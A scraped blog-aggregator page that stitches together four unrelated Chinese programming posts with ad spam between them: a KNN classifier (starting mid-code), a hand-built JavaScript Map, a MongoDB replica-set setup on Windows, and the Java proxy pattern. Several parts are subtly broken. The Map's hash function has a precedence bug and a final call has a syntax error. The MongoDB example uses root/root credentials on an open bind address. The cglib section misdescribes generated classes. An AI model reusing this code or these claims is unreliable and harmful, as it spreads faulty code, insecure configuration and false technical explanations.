    datingDataMat,datingLabels = file2matrix('datingTestSet2.txt')       #load data setfrom file
    normMat = autoNorm(datingDataMat)
    m = normMat.shape[0]
    numTestVecs = int(m*hoRatio)
    errorCount = 0.0
    for i in range(numTestVecs):
        classifierResult = classify0(normMat[i,:],normMat[numTestVecs:,:],datingLabels[numTestVecs:],3)
        if (classifierResult != datingLabels[i]): 
            errorCount += 1.0
    print ("the total error rate is: %f" % (errorCount/float(numTestVecs)))
    print (errorCount)

運行結果

the total error rate is: 0.080000
16.0

四、源代碼

from numpy import *
import operator
from os import listdir

import matplotlib
import matplotlib.pyplot as plt
    
## KNN function
def classify0(inX, dataSet, labels, k):
    dataSetSize = dataSet.shape[0]
    diffMat = tile(inX, (dataSetSize,1)) - dataSet
    sqDiffMat = diffMat**2
    sqDistances = sqDiffMat.sum(axis=1)
    distances = sqDistances**0.5
    sortedDistIndicies = distances.argsort()     
    classCount={}          
    for i in range(k):
        voteIlabel = labels[sortedDistIndicies[i]]
        classCount[voteIlabel] = classCount.get(voteIlabel,0) + 1
    sortedClassCount = sorted(classCount.items(), key=operator.itemgetter(1), reverse=True)
    return sortedClassCount[0][0]

# read txt data
def file2matrix(filename):
    fr = open(filename)
    numberOfLines = len(fr.readlines())         #get the number of lines in the file
    returnMat = zeros((numberOfLines,3))        #prepare matrix to return
    classLabelVector = []                       #prepare labels return   
    fr = open(filename)
    index = 0
    for line in fr.readlines():
        line = line.strip()
        listFromLine = line.split('\t')
        returnMat[index,:] = listFromLine[0:3]
        classLabelVector.append(int(listFromLine[-1]))
        index += 1
    return returnMat,classLabelVector


def autoNorm(dataSet):
    minVals = dataSet.min(0) # array([[1,20,3], [4,5,60], [7,8,9]])   min(0) = [1, 5, 3]
    maxVals = dataSet.max(0)
    ranges = maxVals - minVals
    normData = zeros(shape(dataSet))
    m = dataSet.shape[0]
    normData = (dataSet - tile(minVals, (m,1)))/tile(ranges,(m,1))
    return normData
    
    
    
    
def drawScatter1(datingDataMat, datingLabels):
    plt.rcParams['font.sans-serif'] = ['Microsoft YaHei']

    fig = plt.figure()
    ax = fig.add_subplot(111)
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
    ax.set_xlabel("玩視頻遊戲所耗時間百分比")
    ax.set_ylabel("每周消費的冰淇淋公斤數")
    plt.show()
    
def drawScatter2(datingDataMat, datingLabels):
    fig = plt.figure()
    ax = fig.add_subplot(111)
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2])
    ax.scatter(datingDataMat[:,1], datingDataMat[:,2], 15.0*array(datingLabels), 15.0*array(datingLabels))
    ax.set_xlabel("玩視頻遊戲所耗時間百分比")
    ax.set_ylabel("每周消費的冰淇淋公斤數")
    plt.show()
    
    
def drawScatter3(datingDataMat, datingLabels):
    datingDataType1 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==1])
    datingDataType2 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==2])
    datingDataType3 = array([[x[0][0],x[0][1],x[0][2]] for x in zip(datingDataMat,datingLabels) if x[1]==3])

    fig, axs = plt.subplots(2, 2, figsize = (15,10))
    axs[0,0].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
    axs[0,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
    axs[1,0].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
    type1 = axs[1,1].scatter(datingDataType1[:,0], datingDataType1[:,1], s = 20, c = 'red')
    type2 = axs[1,1].scatter(datingDataType2[:,0], datingDataType2[:,1], s = 30, c = 'green')
    type3 = axs[1,1].scatter(datingDataType3[:,0], datingDataType3[:,1], s = 40, c = 'blue')
    axs[1,1].legend([type1, type2, type3], ["Did Not Like", "Liked in Small Doses", "Liked in Large Doses"], loc=2)
    axs[1,1].set_xlabel("玩視頻遊戲所耗時間百分比")
    axs[1,1].set_ylabel("每周消費的冰淇淋公斤數")

    plt.show()
    
    
    
def datingClassTest():
    hoRatio = 0.20  
    datingDataMat,datingLabels = file2matrix('datingTestSet2.txt')       #load data setfrom file
    normMat = autoNorm(datingDataMat)
    m = normMat.shape[0]
    numTestVecs = int(m*hoRatio)
    errorCount = 0.0
    for i in range(numTestVecs):
        classifierResult = classify0(normMat[i,:],normMat[numTestVecs:,:],datingLabels[numTestVecs:],3)
        if (classifierResult != datingLabels[i]): 
            errorCount += 1.0
    print ("the total error rate is: %f" % (errorCount/float(numTestVecs)))
    print (errorCount)
    
    
datingDataMat, datingLabels = file2matrix("datingTestSet2.txt")

drawScatter1(datingDataMat, datingLabels)
drawScatter2(datingDataMat, datingLabels)
drawScatter3(datingDataMat, datingLabels)
 
datingClassTest()

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

ES6 Map 原理

ES6的Map的鍵可以是任意的數據結構,並且不重複。

那麼map的底層原理是啥呢?

Map利用鏈表,hash的思想來實現。

首先,Map可以實現刪除,而且刪除的數據可以是中間的值。而鏈表的優勢就是在中間的任意位置添加,刪除元素都非常快,不需要移動其他元素,直接改變指針的指向就可以。。

而在存儲數據很多的情況下,會導致鏈條過長,導致查找效率慢,所以我們可以創建一個桶(存儲對象的容器),根據hash(把散列的值通過算法變成固定的某值)來平局分配數據,防止鏈條過長。

 

 

如下圖:桶裏面有3個位置,每一個位置都是一個對象,通過next屬性指向下一個對象來把沒有關聯的對象聯到一起。

 

 

 

把Map屬性值和屬性名都存到對象的值里。

簡單模擬Map,代碼如下:

function Mymap() {  //構造函數
    this.init();
}
//初始化函數,創建桶(數組),每個位置都是一個對象,每個對象的屬性上設置next屬性,並且初始化為null。 Mymap.prototype.init = function () { this.tong = new Array(8); for (var i = 0; i
< 8; i++) { this.tong[i] = new Object(); this.tong[i].next = null; } }; //添加數據。 Mymap.prototype.set = function (key, value) { var index = this.hash(key); //獲取到當前設置的key設置到那個位置上 var TempBucket = this.tong[index]; //獲取當前位置的對象 while (TempBucket.next) { //遍歷如果當前對象鏈接的下一個不為空 if (TempBucket.next.key == key) { //如果要設置的屬性已經存在,覆蓋其值。 TempBucket.next.value = value; return; //return ,不在繼續遍歷 } else { TempBucket = TempBucket.next; //把指針指向下一個對象。 } } TempBucket.next = { //對象的next是null ,添加對象。 key: key, value: value, next: null } };
//查詢數據 Mymap.prototype.get = function (key) { var index = this.hash(key); var TempBucket = this.tong[index]; while(TempBucket){ if(TempBucket.key == key){ return TempBucket.value; }else{ TempBucket = TempBucket.next; } } return undefined; }
//刪除數據 Mymap.prototype.delete = function(key){ var index = this.hash(key); var TempBucket = this.tong[index]; while(TempBucket){ if(TempBucket.next.key == key){ TempBucket.next = TempBucket.next.next; return true; }else{ TempBucket = TempBucket.next; } } }
//看當前屬性是否存在 Mymap.prototype.has = function(key){ var index = this.hash(key); var TempBucket = this.tong[index]; while(TempBucket){ if(TempBucket.key == key){ return true; }else{ TempBucket = TempBucket.next; } } return false; }
//清空這個map Mymap.prototype.clear = function(){ this.init(); } //使設置的屬性平均分配到每個位置上,使得不會某個鏈條過長。 Mymap.prototype.hash = function (key) { var index = 0; if (typeof key == "string") { for (var i = 0; i < 3; i++) { index = index + isNaN(key.charCodeAt(i)) ? 0 : key.charCodeAt(i); } } else if (typeof key == 'object') { index = 0; } else if (typeof key == 'number') { index = isNaN(key) ? 7 : key; } else { index = 1; } return index % 8; } var map = new Mymap(); //使用構造函數的方式實例化map

map.set('name','zwq');
map.get('name');
map.has('name);

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享

windows搭建MongoDB副本集及開啟身份驗證

MongoDB副本集搭建

我搭建的是一個主節點,兩個副節點

  1. 構建目錄結構如下圖所示

  2. rs0是副本集名稱,每一份文件都是一個端口服務,以27018為主節點。

 

每一份的目錄結構如下,conf存放的是配置文件信息,data27018是存放數據庫數據信息,keyfile是存放key文件的。用於各個節點之間的身份驗證。log存放數據庫的日誌信息,用來排查問題。

 

  3.conf文件

Conf是放配置文件

# mongod.conf

# for documentation of all options, see:

#   http://docs.mongodb.org/manual/reference/configuration-options/

# Where and how to store data.

storage:

  dbPath: D:\MongoDB\rs0\27018\data27018

  journal:

    enabled: true

#  engine:

#  mmapv1:

#  wiredTiger:

# where to write logging data.

systemLog:

  destination: file

  logAppend: true

  path:  D:\MongoDB\rs0\27018\log27018\mongo.log

# network interfaces

net:

  port: 27018

  bindIp: 0.0.0.0

#processManagement:

security:

  authorization: enabled

  keyFile: D:\MongoDB\rs0\27018\keyfile\replicaSet1.key

#operationProfiling:

replication:

  oplogSizeMB: 2048

  replSetName: rs0

#sharding:

  #clusterRole: shardsvr

## Enterprise-Only Options:

#auditLog:

#snmp:

4.Keyfile下有個.key的文件為了複製集的用戶驗證。(keyfile文件是需要base編碼且差不多660個字符。權限)

可用Linux系統生成,或者找度娘。每一個端口服務下的key必須是同一個。

5.修改每一個實例的conf文件里的端口號及數據存放地址,日誌等。

6.運行win+r 選擇管理員啟動cmd

Windows註冊服務

Windows註冊服務
mongod.exe --config "D:\MongoDB\rs0\27018\conf\mongo.conf" --serviceName "MongoDB27018" --serviceDisplayName "MongoDB27018" –install

mongod.exe --config "D:\MongoDB\rs0\27019\conf\mongo.conf" --serviceName "MongoDB27019" --serviceDisplayName "MongoDB27019" –install

mongod.exe --config "D:\MongoDB\rs0\27020\conf\mongo.conf" --serviceName "MongoDB27020" --serviceDisplayName "MongoDB27020" --install

安裝成服務后可以到服務中查看。

 7.註冊完成后,將所有服務啟動

8.重新打開cmd  連接到其中的一個mongodb實例命令為:   mongo –host ip地址 –port 27018

9.再連接其他兩個實例

10.進入27018節點進行初始化配置

輸入命令

其中的localhost 應是本機的IP地址。(此處坑,如果是服務器上一定要設置為IP地址,否則會重頭再來)

rscongfig={"_id":"rs0",members:[{_id:0,host:"localhost:27018"},{_id:1,host:"localhost:27019"},{_id:2,host:"localhost:27020"}]}

 

 

 

 

初始化該配置

rs.initiate(rscongfig)

回車如下圖,“ok”:1,無錯誤信息。為正確

 

 

 

看下當前節點是否為主節點

 

rs.status()查看當前副本集狀態

 

 

 

health:1   //1表明狀態是正常,0表明異常
state:1     // 1表明是primary,2表明是slave,即做備份的機器

到此副本集就搭建成功了。接下來是開啟身份驗證

11.創建用戶名

連接到27018,運行

use admin

定位到admin數據庫,在這裏創建用戶信息

db.createUser(
  {
    user: "root",
    pwd: "root",
    roles: [ { role: "root", db: "admin" } ]
  }
)  

12.找到主庫的配置文件 conf 開啟身份驗證,同時從庫也要開,配置好位置。

 

 

 

 

conf 配置好后,將服務重新啟動,然後客戶端重新連接后 如果查看等報錯的話就會提示需要權限,

然後轉到use admin

db.auth(“admin”,”admin”)輸入用戶名密碼

 返回1就是 成功。

然後登陸從節點進行登陸看一下是否需要提示。
如果都成功,可以寫入數據看一下複製集中是否有數據。

到此副本集身份驗證開啟說完了,下面說一下Springboot連接帶安全認證的複製集

application-dev.properties
spring.data.mongodb.uri=mongodb://admin:password@127.0.0.1:27018,127.0.0.1:27019,127.0.0.1:27020/ecis?authSource=admin&authMechanism=SCRAM-SHA-1&replicaSet=rs0& connectTimeoutMS=30000

//解釋
admin:password是用戶名密碼 @IP地址端口號 authSource=admin 用戶名存在的數據庫 authMechanism 不造啥意思 replicaSet 複製集名稱 connectTimeoutMS=30000連接時間

下面是navicat連接複製集方式

 

 添加主機名,端口號,點擊發現,可以查詢當前複製集中的端口服務。

 

終於寫完了,第一次寫,寫的不好,請見諒。

 

 

 

 

 

 

 

 

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

台北網頁設計公司這麼多,該如何挑選?? 網頁設計報價省錢懶人包"嚨底家"

網頁設計公司推薦更多不同的設計風格,搶佔消費者視覺第一線

※想知道購買電動車哪裡補助最多?台中電動車補助資訊懶人包彙整

面試填坑筆記-從代理模式到SpringAOP的動態代理

代理模式是一種理論上非常簡單,但是各種地方的實現往往卻非常複雜。本文將從代理模式的基本概念出發,探討代理模式在java領域的應用與實現。讀完本文你將get到以下幾點:

  1. 為什麼需要代理模式,它通常用來解決什麼問題,以及代理模式的設計與實現思路
  2. Java領域中代理模式3種不同實現類型(靜態代理,jdk動態代理,cglib)
  3. 代理模式的面試考點

為什麼要使用代理模式

在生活中我們通常是去商場購買東西,而不是去工廠。最主要的原因可能有以下幾種:

  1. 成本太高,去工廠路途遙遠成本太高,並且可能從工廠進貨要辦理一些手續流程;
  2. 工廠不直接賣給你,畢竟可能設計到一些行業機密或者無良廠家有一些不想讓你知道的東西;
  3. 商場能提供一些商品之外的服務,商場里有舒適的溫度,整潔的洗手間,當然還有漂亮的小姐姐。

在面向對象的系統中也有同樣的問題,有些對象由於某種原因,比如對象創建開銷很大,或者某些操作需要安全控制等,直接訪問會給使用者或者系統結構帶來很多麻煩,這時我們就需要考慮使用代理模式

在應用中我們可能會用代理模式解決以下問題:

  1. 權限控制與日誌, 在客戶端請求接口時我們可能需要在調用之前對權限進行驗證,或者通過記錄接口調用前後時間,統計執行時長,又或者說我們需要記錄用戶的一些操作日誌信息等,我們可以對原接口進行代理,然後根據需求在接口執行前後增加一些特定的操作。
  2. 重量級操作, 比如創建開銷大的對象, 可以先由代理對象扮演對象的替身,在需要的使用再創建對象,然後代理再將請求委託給真實的對象。

什麼是代理模式

代理模式:為其他對象提供一種代理以控制(隔離,使用接口)對這個對象的訪問。類圖如下:

所謂控制,其實使用接口隔離其他對象與這個對象之間的交互;就是為client對象對RealSubject對象的訪問一種隔離,本質上就是CLient→RealSuject的關係變成了Client→Subject, Proxy→RealSubject。 需要注意的時,代理類(Proxy)並不一定要求保持接口的完整的一致性(既也可以完全不需實現Subject接口),只要能夠實現間接控制即可。

代理模式代碼演進

背景:假設已有一個訂單系統,可以保存訂單信息。

需求:打印保存訂單信息消耗時間。

/**
 * 訂單服務
 *
 * @author cruder
 * @date 2019-11-23 15:42
 **/
public class OrderService2 {
    /**
     * 保存訂單接口
     */
    public void saveOrder(String orderInfo) throws InterruptedException {
        // 隨機休眠,模擬訂單保存需要的時間
        Thread.sleep(System.currentTimeMillis() & 100);
        System.out.println("訂單:" + orderInfo + "  保存成功");
    }
}

普通方式實現

直接修改源代碼,這通常也是最簡單和最容易想到的實現。

 /**
  * 保存訂單接口, 直接修改代碼
  */
 public void saveOrder(String orderInfo) throws InterruptedException {
 
     long start = System.currentTimeMillis();
 
     // 隨機休眠,模擬訂單保存需要的時間
     Thread.sleep(System.currentTimeMillis() & 100);
     System.out.println("訂單:" + orderInfo + "  保存成功");
 
     System.out.println("保存訂單用時: " + (System.currentTimeMillis() - start) + "ms");
 }

面向對象設計原則中的“開閉原則”告訴我們,開閉原則規定“軟件中的對象(類,模塊,函數等等)應該對於擴展是開放的,但是對於修改是封閉的”,這意味着一個實體是允許在不改變它的源代碼的前提下變更它的行為。

代理模式實現

/**
 * 1. 定義接口,為了使代理被代理對象看起來一樣。當然這一步完全可以省略
 *
 * @author cruder
 * @date 2019-11-23 15:58
 **/
public interface IOrderService {
    /**
     * 保存訂單接口
     * @param orderInfo 訂單信息
     */
    void saveOrder(String orderInfo) throws InterruptedException;
}
/**
 * 2. 原有訂單服務,也實現這個接口。注意 此步驟也完全可以省略。
 *
 * @author cruder
 * @date 2019-11-23 15:42
 **/
public class OrderService implements IOrderService{
    /**
     * 保存訂單接口
     */
    @Override
    public void saveOrder(String orderInfo) throws InterruptedException {
        // 隨機休眠,模擬訂單保存需要的時間
        Thread.sleep(System.currentTimeMillis() & 100);
        System.out.println("訂單:" + orderInfo + "  保存成功");
    }
}


/**
 * 3. 創建代理類,實現訂單服務接口【這才是代理模式的實現】
 * 
 * @author cruder
 * @date 2019-11-23 16:01
 **/
public class OrderServiceProxy implements IOrderService{
    /**
     * 內部持有真實的訂單服務對象,保存訂單工作實際由它來完成
     */
    private IOrderService orderService;

    @Override
    public void saveOrder(String orderInfo) throws InterruptedException {
        /**
         * 延遲初始化,也可以創建代理對象時就創建,或者作為構造參數傳進來
         * 僅作為代碼實例,不考慮線程安全問題
         */
        if (orderService == null) {
            orderService = new OrderService();
        }

        long start = System.currentTimeMillis();
        orderService.saveOrder(orderInfo);
        System.out.println("保存訂單用時: " + (System.currentTimeMillis() - start) + "ms");
    }
}執行程序

執行程序

代理模式的優缺點

優點: 1、職責清晰。 2、高擴展性。 3、智能化。

缺點:

1、由於在客戶端和真實主題之間增加了代理對象,因此有些類型的代理模式可能會造成請求的處理速度變慢。 2、實現代理模式需要額外的工作,有些代理模式的實現非常複雜。

Java中代理模式的實現

在java中代理模式可以按照代理類的創建時機分兩類,即靜態代理和動態代理,而動態代理又可以分為jdk動態代理和cglib動態代理。每種實現方式都各有千秋,接下來筆者將回針對不同的實現方式進行演示和剖析。

靜態代理

在上文代理模式代碼演進中就使用了靜態代理模式。所謂靜態代理中的“靜”字,無非就是代理類的創建時機不同罷了。靜態代理需要為每個被代理的對象手動創建一個代理類;而動態代理則時在運行時通過某種機制來動態生成,不需要手動創建代理類。

動態代理 – jdk

jdk動態代理模式是利用java中的反射技術,在運行時動態創建代理類。接下來我們仍藉助上文中的訂單服務的案例,使用jdk動態代理實現。

基於動態jdk涉及到兩個核心的類Proxy類和一個 InvocationHandler接口。

/**
 * 基於JDK技術 動態代理類技術核心 Proxy類和一個 InvocationHandler 接口
 *
 * @author cruder
 * @date 2019-11-23 16:40
 **/
public class ProxyFactory implements InvocationHandler {

    /**
     * 委託對象,既被代理的對象
     */
    private Object target;

    public ProxyFactory (Object target) {
        this.target = target;
    }

    /**
     * 生成代理對象
     * 1. Classloader loader: 制定當前被代理對象使用的累加子啊其,獲取加載器的方法固定
     * 2. Class<?>[] interfaces: 委託類的接口類型,使用泛型方法確認類型
     * 3. InvocationHandler handler: 事件處理,執行委託對象的方法時會觸發事件處理器方法,
     * 會把當前執行的委託對象方法作為參數傳入
     */
    public Object getProxyInstance() {
        Class clazz = target.getClass();

        return Proxy.newProxyInstance(clazz.getClassLoader(), clazz.getInterfaces(), this);
    }

    @Override
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
        long start = System.currentTimeMillis();
        method.invoke(target, args);
        System.out.println("保存訂單用時: " + (System.currentTimeMillis() - start) + "ms");
        return null;
    }
}

/**
 * 通過動態代理方式來保存訂單
 *
 * @author cruder
 * @date 2019-11-23 15:49
 **/
public class Client {
    public static void main(String[] args) throws InterruptedException {
        ProxyFactory proxyFactory= new ProxyFactory (new OrderService());
        IOrderService orderService = (IOrderService) proxyFactory.getProxyInstance();
        orderService.saveOrder(" cruder 新買的花褲衩 ");
    }
}

以上便是jdk動態代理的全部實現,有種只可意會不可言傳的感覺,筆者始終感覺這種實現看起來很彆扭。不過也要強行總結以下,jdk實現動態代理可以分為以下幾個步驟:

  1. 先檢查委託類是否實現了相應接口,保證被訪問方法在接口中也要有定義
  2. 創建一個實現InvocationHandler接口的類
  3. 在類中定義一個被代理對象的成員屬性,為了擴展方便可以直接使用Object類,也可以根據需求定義相應的接口
  4. 在invoke方法中實現對委託對象的調用,根據需求對方法進行增強
  5. 使用Proxy.newProxyInstance(…)方法創建代理對象,並提供要給獲取代理對象的方法

代理類源碼閱讀

上文中基於jdk動態代理的代碼實現中對於可*的產品經理來說已經完全滿足了需求,但是對於具有Geek精神的程序員來說這遠遠不夠,對於這種不知其所以然的東西往往讓人感到不安。接下來我們將通過自定義的一個小工具類將動態生成的代理類保存到本地來一看究竟。

/**
 * 將生成的代理類保存為.class文件的工具類
 *
 * @author cruder
 * @date 2019-08-15 0:27
 */
public class ProxyUtils {
    /**
     * 將代理類保存到指定路徑
     *
     * @param path           保存到的路徑
     * @param proxyClassName 代理類的Class名稱
     * @param interfaces     代理類接口
     * @return
     */
    public static boolean saveProxyClass(String path, String proxyClassName, Class[] interfaces){
        if (proxyClassName == null || path == null) {
            return false;
        }
        // 獲取文件字節碼,然後輸出到目標文件中
        byte[] classFile = ProxyGenerator.generateProxyClass(proxyClassName, interfaces);
        try (FileOutputStream out = new FileOutputStream(path)) {
            out.write(classFile);
            out.flush();
        } catch (IOException e) {
            e.printStackTrace();
            return false;
        }
        return true;
    }
}

// 此處是重點, 生成的代理類實現了IOrderService,並且繼承了Proxy
public final class $Proxy0 extends Proxy implements IOrderService {
    private static Method m1;
    private static Method m3;
    private static Method m2;
    private static Method m0;

    public $Proxy0(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final void saveOrder(Order var1) throws  {
        try {
            super.h.invoke(this, m3, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }
    
    static {
        try {
           // 通過反射獲取Method對象
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m3 = Class.forName("cn.mycookies.test08proxy.IOrderService").getMethod("saveOrder", Class.forName("cn.mycookies.test08proxy.Order"));
            m2 = Class.forName("java.lang.Object").getMethod("toString");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

ps: 實習轉正面試中被問到為什麼jdk動態代理被代理的類為什麼要實現接口?

cglib動態代理

對於cglib我想大多數人應該都很陌生,或者是在學習Spring中AOP(面向切面編程)時聽說了它使用jdk和cglib兩種方式實現了動態代理。接下來筆者將針對cglib進行簡要介紹。

cglib動態代理和jdk動態代理類似,也是採用操作字節碼機制,在運行時生成代理類。cglib 動態代理採取的是創建目標類的子類的方式,因為是子類化,我們可以達到近似使用被調用者本身的效果。

字節碼處理機制-指得是ASM來轉換字節碼並生成新的類

注:spring中有完整的cglib相關的依賴,所以以下代碼基於spring官方下載的demo中直接進行編寫的

/**
 * 1. 訂單服務-委託類,不需要再實現接口
 *
 * @author cruder
 * @date 2019-11-23 15:42
 **/
public class OrderService {
    /**
     * 保存訂單接口
     */
    public void saveOrder(String orderInfo) throws InterruptedException {
        // 隨機休眠,模擬訂單保存需要的時間
        Thread.sleep(System.currentTimeMillis() & 100);
        System.out.println("訂單:" + orderInfo + "  保存成功");
    }
}

/**
 * cglib動態代理工廠
 *
 * @author cruder
 * @date 2019-11-23 18:36
 **/
public class ProxyFactory implements MethodInterceptor {

    /**
     * 委託對象, 即被代理對象
      */
    private Object target;

    public ProxyFactory(Object target) {
        this.target = target;
    }

    /**
     * 返回一個代理對象
     * @return
     */
    public Object getProxyInstance(){
        // 1. 創建一個工具類
        Enhancer enhancer = new Enhancer();
        // 2. 設置父類
        enhancer.setSuperclass(target.getClass());
        // 3. 設置回調函數
        enhancer.setCallback(this);
        // 4.創建子類對象,即代理對象
        return enhancer.create();
    }

    @Override
    public Object intercept(Object o, Method method, Object[] args, MethodProxy methodProxy) throws Throwable {
        long start = System.currentTimeMillis();

        Object result = method.invoke(target, args);

        System.out.println("cglib代理:保存訂單用時: " + (System.currentTimeMillis() - start) + "ms");
        return result;
    }
}

/**
 * 使用cglib代理類來保存訂單
 *
 * @author cruder
 * @date 2019-11-23 15:49
 **/
public class Client {
    public static void main(String[] args) throws InterruptedException {
        // 1. 創建委託對象
        OrderService orderService = new OrderService();
        // 2. 獲取代理對象
        OrderService orderServiceProxy = (OrderService) new ProxyFactory(orderService).getProxyInstance();
        String saveFileName = "CglibOrderServiceDynamicProxy.class";
        ProxyUtils.saveProxyClass(saveFileName, orderService.getClass().getSimpleName(), new Class[]{IOrderService.class});
        orderServiceProxy.saveOrder(" cruder 新買的花褲衩 ");
    }
}

cglib動態代理實現步驟和jdk及其相似,可以分為以下幾個步驟:

  1. 創建一個實現MethodInterceptor接口的類
  2. 在類中定義一個被代理對象的成員屬性,為了擴展方便可以直接使用Object類,也可以根據需求定義相應的接口
  3. 在invoke方法中實現對委託對象的調用,根據需求對方法進行增強
  4. 使用Enhancer創建生成代理對象,並提供要給獲取代理對象的方法

cglib動態代理生成的代理類和jdk動態代理代碼格式上幾乎沒有什麼區別,唯一的區別在於cglib生成的代理類繼承了僅僅Proxy類,而jdk動態代理生成的代理類繼承了Proxy類的同時也實現了一個接口。代碼如下:

// 生成一個Proxy的子類
public final class OrderService extends Proxy {
    private static Method m1;
    private static Method m2;
    private static Method m0;

    public OrderService(InvocationHandler var1) throws  {
        super(var1);
    }

    public final boolean equals(Object var1) throws  {
        try {
            return (Boolean)super.h.invoke(this, m1, new Object[]{var1});
        } catch (RuntimeException | Error var3) {
            throw var3;
        } catch (Throwable var4) {
            throw new UndeclaredThrowableException(var4);
        }
    }

    public final String toString() throws  {
        try {
            return (String)super.h.invoke(this, m2, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    public final int hashCode() throws  {
        try {
            return (Integer)super.h.invoke(this, m0, (Object[])null);
        } catch (RuntimeException | Error var2) {
            throw var2;
        } catch (Throwable var3) {
            throw new UndeclaredThrowableException(var3);
        }
    }

    static {
        try {
            m1 = Class.forName("java.lang.Object").getMethod("equals", Class.forName("java.lang.Object"));
            m2 = Class.forName("java.lang.Object").getMethod("toString");
            m0 = Class.forName("java.lang.Object").getMethod("hashCode");
        } catch (NoSuchMethodException var2) {
            throw new NoSuchMethodError(var2.getMessage());
        } catch (ClassNotFoundException var3) {
            throw new NoClassDefFoundError(var3.getMessage());
        }
    }
}

jdk動態代理 VS cglib

JDK Proxy 的優勢:

  • 最小化依賴關係,減少依賴意味着簡化開發和維護,JDK 本身的支持,可能比 cglib 更加可靠。
  • 平滑進行 JDK 版本升級,而字節碼類庫通常需要進行更新以保證在新版 Java 上能夠使用。
  • 代碼實現簡單。

cglib 優勢:

  • 有的時候調用目標可能不便實現額外接口,從某種角度看,限定調用者實現接口是有些侵入性的實踐,類似 cglib 動態代理就沒有這種限制。
  • 只操作我們關心的類,而不必為其他相關類增加工作量。

總結

  1. 代理模式: 為其他對象提供一種代理以控制(隔離,使用接口)對這個對象的訪問。
  2. jdk動態代理生成的代理類繼承了Proxy類並實現了被代理的接口;而cglib生成的代理類則僅繼承了Proxy類。
  3. jdk動態代理最大缺點:只能代理接口,既委託類必須實現相應的接口
  4. cglib缺點:由於是通過“子類化”的方式, 所以不能代理final的委託類或者普通委託類的final修飾的方法。

Q&A

  1. 為什麼jdk動態代理只能代理接口?
  2. Spring中AOP的實現採用那種代理方式?
  3. 都說jdk動態代理性能遠比cglib要差,如果是,依據是什麼?

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理【其他文章推薦】

※想知道網站建置網站改版該如何進行嗎?將由專業工程師為您規劃客製化網頁設計後台網頁設計

※不管是台北網頁設計公司台中網頁設計公司,全省皆有專員為您服務

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※帶您來看台北網站建置台北網頁設計,各種案例分享